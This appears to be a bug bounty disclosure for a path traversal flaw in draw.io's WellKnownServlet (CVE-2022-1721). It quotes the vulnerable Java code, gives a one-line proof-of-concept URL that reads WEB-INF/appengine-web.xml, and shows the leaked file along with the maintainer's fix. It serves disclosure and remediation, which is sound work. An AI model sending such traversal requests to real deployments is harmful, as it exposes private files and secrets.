Path Traversal in WellKnownServlet in jgraph/drawio

0

Valid Reported on May 14th 2022

Description

The `WellKnownServlet` is vulnerable to path traversal. This allows reading local files. For example the files in `WEB-INF` that contain secrets and API keys can be read.
https://github.com/jgraph/drawio/blob/v18.0.4/src/main/java/com/mxgraph/online/WellKnownServlet.java#L40-L66

```
String uri = request.getRequestURI().replace("/.", "/");

if (uri.toLowerCase().contains(".json"))
{
    response.setContentType("application/json");
}

// Serve whatever was requested from .well-known
try (InputStream in = getServletContext().getResourceAsStream(uri))
{
    if (in == null)
    {
        response.sendError(404);
        return;
    }

    byte[] buffer = new byte[8192];
    int count;

    while ((count = in.read(buffer)) > 0)
    {
        response.getOutputStream().write(buffer, 0, count);
    }

    response.getOutputStream().flush();
```

```
            response.getOutputStream().flush();
            response.getOutputStream().close();
        }
```

Proof of Concept

Access the following URL (replace `<host>` with the actual host of the web application).

```
<host>/.well-known/.../WEB-INF/appengine-web.xml
```

This will disclose the contents of `appengine-web.xml` :

```
<?xml version="1.0" encoding="utf-8"?>
<appengine-web-app xmlns="http://appengine.google.com/ns/1.0">

  <threadsafe>true</threadsafe>
  <sessions-enabled>false</sessions-enabled>
  <runtime>java8</runtime>

  <!-- Configure java.util.logging -->
  <system-properties>
    <property name="java.util.logging.config.file" value="WEB-INF/logging.p
  </system-properties>

  <!-- Path patterns not supported in production -->
  <static-files>
    <include path="/**">
      <http-header name="Referrer-Policy" value="strict-origin"/>
      <http-header name="Access-Control-Allow-Origin" value="*"/>
      <http-header name="X-XSS-Protection" value="1; mode=block"/>
      <http-header name="X-Content-Type-Options" value="nosniff"/>
    </include>
  </static-files>

  <!-- App engine has conflicting interfaces for javax.cache.CacheManager -
  <class-loader-config>
    <priority-specifier filename="cache-api-1.1.1.jar"/>
  </class-loader-config>
```

```
    <instance-class>F1</instance-class>
    <automatic-scaling>
      <max-idle-instances>1</max-idle-instances>
    </automatic-scaling>
  </appengine-web-app>
```

Impact

Read local files of the web application.

Occurrences

WellKnownServlet.java L40-L66

CVE
CVE-2022-1721
(Published)

Vulnerability Type
CWE-22: Path Traversal

Severity
High (7.5)

Registry
Other

Affected Version
<= 18.0.4

Visibility
Public

Status
Fixed

Found by

Tobias S. Fink
@7085
legend

This report was seen 864 times.

We are processing your report and will contact the **jgraph/drawio** team within 24 hours.
6 months ago

David Benson validated this vulnerability 6 months ago

Tobias S. Fink has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

David Benson 6 months ago — Maintainer

https://github.com/jgraph/drawio/commit/01ccb271d34258872b859c0fc1d253cc81341917 will be the fix

David Benson marked this as fixed in **18.0.5** with commit **01ccb2** 6 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

WellKnownServlet.java#L40-L66 has been validated ✔

Tobias S. Fink 6 months ago — Researcher

Ok, looks good.

Sign in to join this conversation